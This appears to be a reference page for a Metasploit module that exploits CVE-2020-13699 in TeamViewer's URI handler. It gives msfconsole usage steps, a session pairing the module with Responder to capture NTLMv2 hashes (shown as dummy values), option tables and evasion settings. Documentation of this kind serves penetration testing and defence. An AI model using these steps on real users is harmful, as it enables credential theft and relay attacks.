TeamViewer Unquoted URI Handler SMB Redirect - Metasploit
This page contains detailed information about how to use the auxiliary/server/teamviewer_uri_smb_redirect metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: TeamViewer Unquoted URI Handler SMB Redirect
Module: auxiliary/server/teamviewer_uri_smb_redirect
Source code: modules/auxiliary/server/teamviewer_uri_smb_redirect.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-13699
This module exploits an unquoted parameter call within the Teamviewer URI handler to create an SMB connection to an attacker controlled IP. TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3 are vulnerable. Only Firefox can be exploited by this vulnerability, as all other browsers encode the space after 'play' and before the SMB location, preventing successful exploitation. Teamviewer 15.4.4445, and 8.0.16642 were succssfully tested against.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/server/teamviewer_uri_smb_redirect
msf auxiliary(teamviewer_uri_smb_redirect) > exploit
Knowledge Base
Vulnerable Application
This module exploits an unquoted parameter call within the Teamviewer URI handler to create an SMB connection to an attacker controlled IP.
TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3 are vulnerable.
Only Firefox can be exploited by this vulnerability, as all other browsers encode the space after 'play' and before the SMB location, preventing successful exploitation.
Teamviewer 15.4.4445, and 8.0.16642 were successfully tested against.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/server/teamviewer_uri_smb_redirect
- Do:
set SMB_SERVER [IP]
- Do:
run
- Start an SMB Capture or Relay server (such as responder)
- Open the URL on the target
- The SMB Server should receive a connection.
Options
FILE_NAME
The SMB file to link to. This is an arbitrary file name. Default is \\teamviewer\\config.tvs
SMB_SERVER
The SMB server IP address.
URI_HANDLER
The URI Handler to use. Typically the default teamviewer10
Scenarios
TeamViewer 15.4.4445 on Windows 10 1909 with Firefox 79
[*] Processing teamviewer.rb for ERB directives.
resource (teamviewer.rb)> use auxiliary/server/teamviewer_uri_smb_redirect
resource (teamviewer.rb)> set smb_server 2.2.2.2
smb_server => 2.2.2.2
resource (teamviewer.rb)> run -j
[*] Auxiliary module running as background job 0.
[+] Please start an SMB capture/relay on 2.2.2.2
[*] Using URL: http://0.0.0.0:8080/IDGynsGNfXD5eFB
[*] Local IP: http://1.1.1.1:8080/IDGynsGNfXD5eFB
[*] Server started.
Start the SMB replay/capture
resource (teamviewer.rb)> sudo responder -I wlan0
[*] exec: sudo responder -I wlan0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.0.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [wlan0]
Responder IP [2.2.2.2]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[!] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events...
[*] Request received for: /IDGynsGNfXD5eFB
[*] Sending TeamViewer Link to Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0...
[SMB] NTLMv2-SSP Client : 3.3.3.3
[SMB] NTLMv2-SSP Username : DESKTOP\h00die
[SMB] NTLMv2-SSP Hash : h00die::DESKTOP:1111111111111111:11111111111111111111111111111111:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Go back to menu.
Msfconsole Usage
Here is how the server/teamviewer_uri_smb_redirect auxiliary module looks in the msfconsole:
msf6 > use auxiliary/server/teamviewer_uri_smb_redirect
msf6 auxiliary(server/teamviewer_uri_smb_redirect) > show info
Name: TeamViewer Unquoted URI Handler SMB Redirect
Module: auxiliary/server/teamviewer_uri_smb_redirect
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Jeffrey Hofmann <[email protected]>
h00die
Module side effects:
ioc-in-logs
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_NAME \teamviewer\config.tvs no Arbitrary tv file location
SMB_SERVER yes SMB server IP address
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
URI_HANDLER teamviewer10 yes TeamViewer URI Handler (Accepted: teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, tv
vpn1)
Description:
This module exploits an unquoted parameter call within the
Teamviewer URI handler to create an SMB connection to an attacker
controlled IP. TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873,
11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and
15.8.3 are vulnerable. Only Firefox can be exploited by this
vulnerability, as all other browsers encode the space after 'play'
and before the SMB location, preventing successful exploitation.
Teamviewer 15.4.4445, and 8.0.16642 were succssfully tested against.
References:
https://jeffs.sh/CVEs/CVE-2020-13699.txt
https://nvd.nist.gov/vuln/detail/CVE-2020-13699
https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
Module Options
This is a complete list of options available in the server/teamviewer_uri_smb_redirect auxiliary module:
msf6 auxiliary(server/teamviewer_uri_smb_redirect) > show options
Module options (auxiliary/server/teamviewer_uri_smb_redirect):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_NAME \teamviewer\config.tvs no Arbitrary tv file location
SMB_SERVER yes SMB server IP address
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
URI_HANDLER teamviewer10 yes TeamViewer URI Handler (Accepted: teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, t
vvpn1)
Advanced Options
Here is a complete list of advanced options supported by the server/teamviewer_uri_smb_redirect auxiliary module:
msf6 auxiliary(server/teamviewer_uri_smb_redirect) > show advanced
Module advanced options (auxiliary/server/teamviewer_uri_smb_redirect):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the server/teamviewer_uri_smb_redirect module can do:
msf6 auxiliary(server/teamviewer_uri_smb_redirect) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the server/teamviewer_uri_smb_redirect auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(server/teamviewer_uri_smb_redirect) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target is not Firefox
Here is a relevant code snippet related to the "Target is not Firefox" error message:
71: print_status("Request received for: #{req.uri}")
72:
73: ua = req.headers['User-Agent'].to_s
74:
75: unless ua.include?('Firefox')
76: print_error('Target is not Firefox')
77: return
78: end
79:
80: print_status("Sending TeamViewer Link to #{ua}...")
81: send_response_html(cli, html_content)
Go back to menu.
Related Pull Requests
References
- https://jeffs.sh/CVEs/CVE-2020-13699.txt
- CVE-2020-13699
- https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
See Also
Check also the following modules related to this module:
- post/windows/gather/credentials/teamviewer_passwords
- auxiliary/scanner/http/smt_ipmi_url_redirect_traversal
- exploit/windows/isapi/rsa_webagent_redirect
- auxiliary/server/android_browsable_msf_launch
- auxiliary/server/android_mercury_parseuri
- auxiliary/server/browser_autopwn
- auxiliary/server/browser_autopwn2
- auxiliary/server/dhclient_bash_env
- auxiliary/server/dhcp
- auxiliary/server/fakedns
- auxiliary/server/ftp
- auxiliary/server/http_ntlmrelay
- auxiliary/server/icmp_exfil
- auxiliary/server/jsse_skiptls_mitm_proxy
- auxiliary/server/ldap
- auxiliary/server/local_hwbridge
- auxiliary/server/ms15_134_mcl_leak
- auxiliary/server/netbios_spoof_nat
- auxiliary/server/openssl_altchainsforgery_mitm_proxy
- auxiliary/server/openssl_heartbeat_client_memory
- auxiliary/server/pxeexploit
- auxiliary/server/regsvr32_command_delivery_server
- auxiliary/server/socks_proxy
- auxiliary/server/socks_unc
- auxiliary/server/tftp
- auxiliary/server/webkit_xslt_dropper
- auxiliary/server/wget_symlink_file_write
- auxiliary/server/wpad
- auxiliary/server/capture/smb
- auxiliary/fuzzers/http/http_get_uri_long
- auxiliary/fuzzers/http/http_get_uri_strings
- auxiliary/gather/manageengine_datasecurity_plus_xnode_enum
- auxiliary/scanner/http/manageengine_securitymanager_traversal
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
Authors
- Jeffrey Hofmann <[email protected]>
- h00die
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.